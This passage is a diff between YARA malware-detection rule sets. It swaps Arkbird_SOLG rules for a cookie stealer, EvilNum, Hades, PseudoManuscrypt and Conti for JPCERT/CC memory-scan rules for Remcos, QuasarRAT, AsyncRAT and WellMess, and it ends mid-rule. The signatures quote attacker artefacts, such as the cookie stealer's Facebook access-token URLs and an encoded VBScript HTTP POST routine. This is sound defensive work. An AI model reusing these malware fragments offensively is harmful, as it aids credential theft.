-		$seq1 = { b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fe ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 00 00 88 85 dc fd ff ff b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fd ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 50 00 50 e8 ?? 0d 00 00 83 c4 04 89 85 d8 fd ff ff 8b 85 d8 fd ff ff 89 85 d4 fd ff ff b8 00 00 50 00 50 b8 00 00 00 00 50 8b 85 d8 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c 8b 45 0c 8b 8d d8 fd ff ff 89 08 b8 3c 00 00 00 50 b8 00 00 00 00 50 8d 85 98 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c b8 3c 00 00 00 89 85 98 fd ff ff 8d 85 98 fd ff ff 83 c0 10 8d 8d dc fe ff ff 89 08 8d 85 98 fd ff ff 83 c0 14 b9 00 01 00 00 89 08 8d 85 98 fd ff ff 83 c0 2c 8d 8d dc fd ff ff 89 08 8d 85 98 fd ff ff 83 c0 30 b9 00 01 00 00 89 08 b8 0a 31 40 00 50 e8 ?? 0c 00 00 89 85 94 fd ff ff b8 16 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 fc b8 28 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 f8 b8 36 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f4 b8 47 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f0 b8 58 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 ec b8 69 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e8 b8 7a 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e4 b8 8e 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e0 8b 45 08 50 e8 ?? 0b 00 00 83 c4 04 8d 8d 98 fd ff ff 51 b9 00 00 00 00 51 50 8b 45 08 50 8b 45 fc ff d0 85 }
-		$seq2 = { b8 00 00 00 00 89 85 90 fd ff ff b8 00 00 00 00 89 85 8c fd ff ff b8 00 00 00 00 89 85 88 fd ff ff b8 00 00 00 00 89 85 84 fd ff ff b8 04 00 00 00 89 85 80 fd ff ff b8 00 00 00 00 88 85 7f f5 ff ff b8 00 08 00 00 50 b8 00 00 00 00 50 8d 85 80 f5 ff ff 50 e8 ?? 0b 00 00 83 c4 0c b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 9d 31 40 00 50 8b 45 f8 ff d0 89 85 90 fd ff ff 8b 85 }
-		$s1 = "%s\\netfilter.sys" fullword ascii
-		$s2 = "SYSTEM\\CurrentControlSet\\Services\\netfilter" fullword ascii
-		$s3 = "\\\\.\\netfilter" fullword ascii
+		$tagm1 = "<mcconf><ver>" wide
+		$tagm2 = "</autorun></mcconf>" wide
+		$tagc1 = "<moduleconfig><autostart>" wide
+		$tagc2 = "</autoconf></moduleconfig>" wide
+		$tagi1 = "<igroup><dinj>" wide
+		$tagi2 = "</dinj></igroup>" wide
+		$tags1 = "<servconf><expir>" wide
+		$tags2 = "</plugins></servconf>" wide
+		$tagl1 = "<slist><sinj>" wide
+		$tagl2 = "</sinj></slist>" wide
+		$dllname = { 6C 00 00 00 CC 00 00 00 19 01 00 00 00 00 00 00 1A 01 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >6KB and ( all of ($seq*) or 2 of ($s*))
+		all of ($tagm*) or all of ($tagc*) or all of ($tagi*) or all of ($tags*) or all of ($tagl*) or $dllname
 }
-import "pe"
-
-rule ARKBIRD_SOLG_MAL_Stealer_Cookie_July_2020_1 : FILE
+rule JPCERTCC_Remcos_1
 {
 	meta:
-		description = "Detect strings used by EdgeCookiesView and ChromeCookiesView in the ressources of the Cookie Stealer"
-		author = "Arkbird_SOLG"
-		id = "02a68973-73b2-572a-a358-f0edc921773a"
-		date = "2020-07-09"
-		modified = "2020-07-09"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1281154921811841026"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-09/MAL_Stealer_Cookie_July_2020_1.yar#L3-L32"
-		license_url = "N/A"
-		logic_hash = "63747567a9dd68ac0d16b67910957cb9bc28d7237f431ac0c76403ca810e1b94"
+		description = "detect Remcos in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "4a27a16a-2669-5009-bc82-082ec0c9b2c1"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://github.com/JPCERTCC/MalConfScan/"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L480-L493"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "1b4b9f7a88f33faeda71ea9a354eeccba8889800f48a6280c4ec533bb1b3ef3d"
 		score = 75
-		quality = 50
-		tags = "FILE"
-		hash1 = "47b2b56c961cdc78bf06eed30737232ba99424b51648418bacacd522a12ad339"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5"
 
 	strings:
-		$x1 = "C:\\Users\\admin1\\AppData\\Local\\Temp\\samplebin.exe" fullword wide
-		$x2 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_index=5&_reqName=adaccount&_reqSrc=AdsCMPaymentsAccount" ascii
-		$x3 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_reqName=adaccount&_reqSrc=AdsCMPaymentsAccountDataDispa" ascii
-		$x4 = "Cookie:" fullword ascii
-		$x5 = "autoLoginCookie name=" fullword ascii
-		$x6 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36" fullword wide
-		$s7 = "https://graph.facebook.com/v7.0/act_fb_uid?access_token=fb_access_token&_priority=HIGH&_reqName=adaccount&_reqSrc=AdsCMAccountSp" ascii
-		$s8 = "https://www.facebook.com/login/device-based/login/" fullword wide
-		$s9 = "api/?sid=" fullword wide
-		$s10 = "/deleteregkey" fullword ascii
-		$s11 = "Old cookies folder of Edge/IE" fullword ascii
-		$s12 = "https://graph.facebook.com/v7.0/me/adaccounts?access_token=fb_access_token&_reqName=me%2Fadaccounts&_reqSrc=AdsTypeaheadDataMana" ascii
-		$s13 = "https://graph.facebook.com/v7.0/me/adaccounts?access_token=fb_access_token&_reqName=me%2Fadaccounts&_reqSrc=AdsTypeaheadDataMana" ascii
-		$s14 = "ChromeCookiesView.exe" fullword wide
-		$s15 = "EdgeCookiesView.exe" fullword wide
-		$s16 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
-		$s17 = "login/device-based/login" fullword ascii
-		$s18 = "c_user" fullword wide
-		$s19 = "c:\\Projects\\VS2005\\EdgeCookiesView\\Release\\EdgeCookiesView.pdb" fullword ascii
+		$remcos = "Remcos" ascii fullword
+		$url1 = "Breaking-Security.Net" ascii fullword
+		$url2 = "BreakingSecurity.Net" ascii fullword
+		$resource = "SETTINGS" ascii wide fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2600KB and (pe.imphash()=="89c8a19cc2d9172de5901988530c700d" or ((3 of ($x*)) and (8 of ($s*))))
+		1 of ($url*) and $remcos and $resource
 }
-rule ARKBIRD_SOLG_MAL_Milum_Jul_2021_1 : FILE
+rule JPCERTCC_Quasar
 {
 	meta:
-		description = "Detect Milum malware"
-		author = "Arkbird_SOLG"
-		id = "ba1cc56e-f6da-57db-a773-4823ae343e31"
-		date = "2021-07-08"
-		modified = "2021-07-08"
-		reference = "https://securelist.com/wildpressure-targets-macos/103072/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-08/WildPressure/MAL_Milum_Jul_2021_1.yara#L1-L33"
-		license_url = "N/A"
-		logic_hash = "4321051fdc9ab5f4ee12c4b505e4271df89b489067875eaf3d2cb670815f7e37"
+		description = "detect QuasarRAT in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "f0a81a46-c19b-5012-a1a2-f2f4310fcde3"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://github.com/JPCERTCC/MalConfScan/"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L495-L513"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "a3bb45f2ea217ae1825d80e1ead9c3e47ca88575c960ce1f9feb2db09f489e08"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "7eafb957c2e715e06489a979a185f75d7a9d502223c8aba36e7b6b8ead7d03b2"
-		hash2 = "86456ebf6b807e8253faf1262e7a2b673131c80174f6133b253b2e5f0da442a9"
-		hash3 = "5e0226f37b861876ec38e4a1564a26e4af3022d869375bc0f09b8feea4cd9e1b"
-		tlp = "White"
-		adversary = "WildPressure"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "390c1530ff62d8f4eddff0ac13bc264cbf4183e7e3d6accf8f721ffc5250e724"
 
 	strings:
-		$s1 = { 52 00 4f 00 4f 00 54 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 00 00 00 00 53 00 65 00 6c 00 65 00 63 00 74 00 20 [3-7] 20 00 46 00 72 00 6f 00 6d 00 20 00 41 00 6e 00 74 00 69 00 56 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 20 00 57 00 48 00 45 00 52 00 45 00 20 00 64 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 20 00 3c 00 3e 00 27 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 27 }
-		$s2 = "c1VybCA9IHt1fQ0Kc1JlcXVlc3QgPSB7cH0NCkhUVFBQb3N0IHNVcmwsIHNSZXF1ZXN0DQpGdW5jdGlvbiBIVFRQUG9zdChzVXJsLCBzUmVxdWVzdCkNCiAgc2V0IG9IVFRQID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQogIG9IVFRQLm9wZW4gIlBPU1QiLCBzVXJsLGZhbHNlDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIkNvbnRlbnQtTGVuZ3RoIiwgTGVuKHNSZXF1ZXN0KQ0KICBvSFRUUC5zZW5kIHNSZXF1ZXN0DQogIFdzY3JpcHQuRWNobyBvSFRUUC5yZXNwb25zZVRleHQNCiAgSFRUUFBvc3QgPSBvSFRUUC5yZXNwb25zZVRleHQNCiBFbmQgRnVuY3Rpb24=" fullword ascii
-		$s3 = { 46 49 4c 45 20 48 41 4e 44 45 4c 20 4e 4f 54 20 46 4f 55 4e 44 00 00 00 4e 4f 20 44 61 74 61 00 }
-		$s4 = { 28 00 77 00 73 00 33 00 32 00 29 00 65 00 79 00 4a 00 73 00 62 00 32 00 35 00 6e 00 64 00 32 00 46 00 70 00 64 00 43 00 49 00 36 00 49 00 6a 00 }
-		$s5 = { 55 8b ec 6a ff 68 [3] 00 64 a1 00 00 00 00 50 83 ec 24 a1 [3] 00 33 c5 89 45 f0 ?? 57 50 8d 45 f4 64 a3 00 00 00 00 [8] b9 0f 00 00 00 89 4e }
-		$s6 = { 20 2f 63 20 [0-1] 46 4f 52 20 2f 6c 20 25 69 20 69 6e 20 28 31 2c 31 2c [1-4] 29 20 44 4f 20 49 46 20 4e 4f 54 20 45 58 49 53 54 20 22 00 22 29 }
-		$s7 = { 83 c4 0c 8d 95 44 fe ff ff 52 c7 85 44 fe ff ff 14 01 00 00 ff 15 [3] 00 83 bd 48 fe ff ff 06 7d 17 bf [3] 00 89 bd ?? fe ff ff c7 85 ?? fe ff ff [3] 00 eb 1a c7 85 ?? fe ff ff [3] 00 8b bd ?? fe ff ff c7 85 ?? fe ff ff [3] 00 }
-		$s8 = { 8b 45 08 50 68 bc 78 45 00 68 d0 78 45 00 8d 8d d0 fc ff ff 51 ff d6 83 c4 10 8b 3d a0 e0 44 00 8b 35 c4 e0 44 00 8d 64 }
+		$quasarstr1 = "Client.exe" wide
+		$quasarstr2 = "({0}:{1}:{2})" wide
+		$sql1 = "SELECT * FROM Win32_DisplayConfiguration" wide
+		$sql2 = "{0}d : {1}h : {2}m : {3}s" wide
+		$sql3 = "SELECT * FROM FirewallProduct" wide
+		$net1 = "echo DONT CLOSE THIS WINDOW!" wide
+		$net2 = "freegeoip.net/xml/" wide
+		$net3 = "http://api.ipify.org/" wide
+		$resource = { 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 73 00 00 17 69 00 6E 00 66 00 6F 00 72 00 6D 00 61 00 74 00 69 00 6F 00 6E 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >40KB and 5 of ($s*)
+		(( all of ($quasarstr*) or all of ($sql*)) and $resource) or all of ($net*)
 }
-rule ARKBIRD_SOLG_APT_Evilnum_JS_Jul_2021_1 : FILE
+rule JPCERTCC_Elf_Plead
 {
 	meta:
-		description = "Detect JS script used by EvilNum group"
-		author = "Arkbird_SOLG"
-		id = "08b410c4-4899-5280-9735-6b3017c7a813"
-		date = "2020-07-13"
-		modified = "2021-07-14"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-13/EvilNum/APT_EvilNum_JS_Jul_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "0ace40e54f6dca078f17e7e157c7973642b83366ba792d2bcdc0d971f729fb68"
+		description = "ELF_PLEAD"
+		author = "JPCERT/CC Incident Response Group"
+		id = "12f93939-812f-52b6-9582-b375bb361892"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://github.com/JPCERTCC/MalConfScan/"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L515-L529"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		hash = "f704303f3acc2fd090145d5ee893914734d507bd1e6161f82fb34d45ab4a164b"
+		logic_hash = "088d17afe77076f8b1e5f7cb285d825d597d9c971a03f878bf64b6d2af14a01f"
 		score = 75
-		quality = 69
-		tags = "FILE"
-		hash1 = "8420577149bef1eb12387be3ea7c33f70272e457891dfe08fdb015ba7cd92c72"
-		hash2 = "c16824a585c9a77332fc16357b5e00fc110c00535480e9495c627f656bb60f24"
-		hash3 = "1061baf604aaa7ed5ba3026b9367de7b6c7f20e7e706d9e9b5308c45a64b2679"
-		tlp = "white"
-		adversary = "EvilNum"
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 4d 53 58 6d 6c 32 2e 44 4f 4d 44 6f 63 75 6d 65 6e 74 22 29 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 42 61 73 65 36 34 44 61 74 61 22 29 3b }
-		$s2 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 4d 53 58 6d 6c 32 2e 44 4f 4d 44 6f 63 75 6d 65 6e 74 22 29 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 42 61 73 65 36 34 44 61 74 61 22 29 3b }
-		$s3 = { 69 66 20 28 2d 31 20 21 3d 20 57 53 63 72 69 70 74 2e 53 63 72 69 70 74 46 75 6c 6c 4e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 [1-8] 28 22 }
-		$s4 = { 52 75 6e 28 [1-8] 30 2c 20 30 29 }
-		$s5 = { 7d 2c 20 ?? 20 3d 20 ?? 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 20 ?? 20 3d 20 ?? 2e 73 6c 69 63 65 28 31 2c 20 31 20 2b 20 ?? 29 2c 20 ?? 20 3d 20 ?? 2e 73 6c 69 63 65 28 31 20 2b 20 ?? 20 2b 20 34 29 2c 20 ?? 20 3d 20 5b 5d 2c }
-		$s6 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 41 44 4f 44 42 2e 53 74 72 65 61 6d 22 29 3b }
-		$s7 = { 5b ?? 5d 20 3d 20 ?? 20 2b 20 22 2d 22 20 2b 20 ?? 20 2b 20 22 2d 22 20 2b 20 ?? 20 2b 20 22 54 22 20 2b 20 ?? 20 2b 20 22 3a 22 20 2b 20 ?? 20 2b 20 22 3a 22 20 2b 20 ?? 3b }
+		$ioctl = "ioctl TIOCSWINSZ error"
+		$class1 = "CPortForwardManager"
+		$class2 = "CRemoteShell"
+		$class3 = "CFileManager"
+		$lzo = { 81 ?? FF 07 00 00 81 ?? 1F 20 00 00 }
 
 	condition:
-		filesize >8KB and 6 of ($s*)
+		3 of them
 }
-rule ARKBIRD_SOLG_APT_Evilnum_LNK_Jul_2021_1 : FILE
+rule JPCERTCC_Asyncrat
 {
 	meta:
-		description = "Detect LNK file used by EvilNum group"
-		author = "Arkbird_SOLG"
-		id = "9d570c02-606a-5bff-af7a-9b5ef1e6df90"
-		date = "2020-07-13"
-		modified = "2021-07-14"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-13/EvilNum/APT_EvilNum_LNK_Jul_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "d20aadfce6a0246f415f94a62edbf7fd48dcdcd9756a5a8d898a5459633b9350"
+		description = "detect AsyncRat in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "758614e8-df93-54ff-9f06-0020b54fbf88"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L531-L548"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "0a60718ea3412129c40e2eee53591dbf094a6b914502242b5ab9b54f8fd95da0"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "b60ae30ba90f852f886bb4e9aaabe910add2b70278e3a88a3b7968f644e10554"
-		hash2 = "bc203f44b48c9136786891be153311c37ce74ceb7eb540d515032c152f5eb2fb"
-		hash3 = "fefc9dbb46bc02a2bdccbf3c581d270f6341562e050e5357484ecae7e1e702f3"
-		tlp = "white"
-		adversary = "EvilNum"
+		quality = 76
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "1167207bfa1fed44e120dc2c298bd25b7137563fdc9853e8403027b645e52c19"
+		hash2 = "588c77a3907163c3c6de0e59f4805df41001098a428c226f102ed3b74b14b3cc"
 
 	strings:
-		$s1 = "1-5-21-669817101-1001941732-3035937113-1000" fullword wide
-		$s2 = "*..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe" fullword wide
-		$s3 = "C:\\Windows\\System32\\cmd.exe" fullword wide
-		$s4 = "System32 (C:\\Windows)" fullword wide
-		$s5 = { 3d 00 25 00 74 00 6d 00 70 00 25 00 5c 00 74 00 65 00 73 00 74 00 2e 00 63 00 26 }
-		$s6 = { 3c 00 22 00 25 [5] 25 00 6d 00 64 00 22 00 26 00 6e 00 65 00 74 00 73 00 74 00 61 00 74 00 20 00 2d }
-		$s7 = { 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 41 00 63 00 63 00 65 00 73 00 73 00 6f 00 72 00 69 00 65 00 73 00 5c 00 77 00 6f 00 72 00 64 00 70 00 61 00 64 00 2e 00 65 00 78 00 65 }
+		$salt = {BF EB 1E 56 FB CD 97 3B B2 19 02 24 30 A5 78 43 00 3D 56 44 D2 1E 62 B9 D4 F1 80 E7 E6 C3 39 41}
+		$b1 = {00 00 00 0D 53 00 48 00 41 00 32 00 35 00 36 00 00}
+		$b2 = {09 50 00 6F 00 6E 00 67 00 00}
+		$s1 = "pastebin" ascii wide nocase
+		$s2 = "pong" wide
+		$s3 = "Stub.exe" ascii wide
 
 	condition:
-		filesize >60KB and 6 of ($s*)
+		($salt and (2 of ($s*) or 1 of ($b*))) or ( all of ($b*) and 2 of ($s*))
 }
-rule ARKBIRD_SOLG_Ran_Loader_Hades_Dec_2020_1 : FILE
+rule JPCERTCC_Wellmess : FILE
 {
 	meta:
-		description = "Detect the loader used by Hades ransomware for load the final implant in memory"
-		author = "Arkbird_SOLG"
-		id = "d48d3a2b-3f0f-5da2-aba9-db2366489a6c"
-		date = "2020-12-27"
-		modified = "2021-01-01"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-01/Hades/Ran_Loader_Hades_Dec_2020_1.yar#L2-L24"
-		license_url = "N/A"
-		logic_hash = "cfa0f8acd3c526f7f4889794f7c38547a88031bb615a03ad5c1542c61bc0eecd"
-		score = 50
-		quality = 71
+		description = "detect WellMess in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "07084b85-b4fa-5534-aca5-1ddac3a3988b"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L550-L569"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "1f5a1ba51dd99eadaf5de344539712057f4635b060d4f306b50a6ecb65931970"
+		score = 75
+		quality = 80
 		tags = "FILE"
-		hash1 = "0dfcf4d5f66310de87c2e422d7804e66279fe3e3cd6a27723225aecf214e9b00"
-		hash2 = "ea310cc4fd4e8669e014ff417286da5edf2d3bef20abfb0a4f4951afe260d33d"
-		level = "Experimental"
+		rule_usage = "memory scan"
+		hash1 = "0322c4c2d511f73ab55bf3f43b1b0f152188d7146cc67ff497ad275d9dd1c20f"
+		hash2 = "8749c1495af4fd73ccfc84b32f56f5e78549d81feefb0c1d1c3475a74345f6a8 "
 
 	strings:
-		$seq1 = { 48 83 ec 58 8b 0d 9e aa 1c 00 ba 01 14 00 00 ff 15 93 9a 1c 00 48 85 c0 74 07 33 c0 e9 c1 3b 00 00 48 8b 05 58 99 1c 00 48 89 44 24 30 c7 44 24 3c 2c 01 00 00 c7 44 24 38 01 00 00 00 33 c9 ff 15 cb 99 1c 00 48 89 05 74 aa 1c 00 48 8b 05 6d aa 1c 00 48 63 48 3c 48 8b 05 62 aa 1c 00 48 03 c1 48 89 05 88 aa 1c 00 48 8d 44 24 3c 48 89 44 24 28 48 8d 05 a7 aa 1c 00 48 89 44 24 20 4c 8d 4c 24 38 45 33 c0 48 8d 15 53 aa 1c 00 48 8b 0d e4 ac 1c 00 ff 54 24 30 48 85 c0 74 05 e8 5e ff ff ff 48 8d 05 2d 3d 00 00 48 89 05 38 aa 1c 00 48 8b 05 31 aa 1c 00 }
-		$seq2 = { 89 54 24 10 89 4c 24 08 48 83 ec 18 8b 44 24 20 89 04 24 8b 44 24 28 89 44 24 04 8b 44 24 04 39 04 24 73 0f c7 44 24 20 04 00 00 00 8b 04 24 eb 0e eb 0c c7 44 24 20 35 00 00 00 8b 44 24 04 48 83 c4 18 }
-		$seq3 = { 48 8b 05 c1 ?? 1c 00 48 89 05 32 ?? 1c 00 }
-		$s1 = "111111111\\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}" fullword wide
-		$s2 = "_VERSION_INFO" fullword wide
-		$s3 = "VkKeyScanW" fullword ascii
-		$s4 = { 53 43 61 4d 69 72 }
+		$botlib1 = "botlib.wellMess" ascii
+		$botlib2 = "botlib.Command" ascii
+		$botlib3 = "botlib.Download" ascii
+		$botlib4 = "botlib.AES_Encrypt" ascii
+		$dotnet1 = "WellMess" ascii
+		$dotnet2 = "<;head;><;title;>" ascii wide
+		$dotnet3 = "<;title;><;service;>" ascii wide
+		$dotnet4 = "AES_Encrypt" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >300KB and 2 of ($seq*) and 3 of ($s*)
+		( uint16(0)==0x5A4D) and ( all of ($botlib*) or all of ($dotnet*))
 }
-rule ARKBIRD_SOLG_MAL_Pseudomanuscrypt_Dec_2021_1 : FILE
+rule JPCERTCC_Elf_Wellmess : FILE
 {
 	meta:
-		description = "Detect PseudoManuscrypt loader dropped by the installer"
-		author = "Arkbird_SOLG"
-		id = "8784baa0-c52c-5ee0-9a92-9b6457df61ed"
-		date = "2021-12-16"
-		modified = "2021-12-17"
-		reference = "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-PseudoManuscrypt-a-mass-scale-spyware-attack-campaign-En.pdf"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-16/MAL_PseudoManuscrypt_Dec_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "e304323ed26c7040c97efa8041bcd3eb2f6d0caeba76d6674fc2947d7850e830"
+		description = "ELF_Wellmess"
+		author = "JPCERT/CC Incident Response Group"
+		id = "3e6cb461-fc51-5ea6-bd6f-6dab11d5704c"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://github.com/JPCERTCC/MalConfScan/"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L571-L584"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		hash = "00654dd07721e7551641f90cba832e98c0acb030e2848e5efc0e1752c067ec07"
+		logic_hash = "99789bba9c398b7927b3ab42bb4df40e5470e0816cc048dcc7d09c6a78a1a505"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
-		hash1 = "19627bcee38a4ca5ae9a60c71ee7a2e388ba99fb8b229700a964a084db236e1f"
-		hash2 = "be94df270acfc8e5470fa161b808d0de1c9e85efeeff4a5d82f5fd09629afa8e"
-		hash3 = "de965e33dff58cf011106feacef2f804d9e35d00b8b5ff7064e5b7afee46d72c"
-		hash4 = "e32899bef78f6af4a155f738298e042f72fe5e643ec934f8778180f71e511727"
-		tlp = "white"
-		adversary = "-"
 
 	strings:
-		$s1 = { 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 43 72 79 70 74 6f 67 72 61 70 68 79 00 7b 47 36 35 37 59 53 30 36 2d 30 31 36 44 2d 34 43 30 52 2d 36 30 32 32 2d 46 47 45 32 43 33 32 32 36 36 37 46 7d 00 00 4d 61 63 68 69 6e 65 47 75 69 64 }
-		$s2 = { 45 ?? 5c 43 4c 53 c7 45 ?? 49 44 5c 25 c7 45 ?? 73 00 00 00 c7 45 ?? 47 6c 6f 62 c7 45 ?? 61 6c }
-		$s3 = { 56 69 72 74 c7 [2-4] 75 61 6c 41 c7 [2-4] 6c 6c 6f 63 ff 15 }
-		$s4 = { 4c 6f 61 64 65 72 2e 64 6c 6c 00 53 65 72 76 69 63 65 4d 61 69 6e }
-		$s5 = { 2e 72 73 72 63 24 30 31 00 00 00 00 a0 ?? 00 00 ?? 04 00 00 2e 72 73 72 63 24 30 32 }
+		$botlib1 = "botlib.wellMess" ascii
+		$botlib2 = "botlib.Command" ascii
+		$botlib3 = "botlib.Download" ascii
+		$botlib4 = "botlib.AES_Encrypt" ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize >3KB and filesize <30KB and all of ($s*)
+		( uint32(0)==0x464C457F) and all of ($botlib*)
 }
-rule ARKBIRD_SOLG_RAN_Conti_Dec_2021_1 : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: SecuInfra
+ * Repository: https://github.com/SIFalcon/Detection
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd
+ * Number of Rules: 45
+ * Skipped: 0 (age), 11 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule SECUINFRA_OBFUS_VBS_Reverse_Startup : FILE
 {
 	meta:
-		description = "Detect Conti ransomware (v3)"
-		author = "Arkbird_SOLG"
-		id = "efa65b86-95d7-55fd-b98a-7b3c747a671c"
-		date = "2021-12-16"
-		modified = "2021-12-16"
-		reference = "Internal Research"
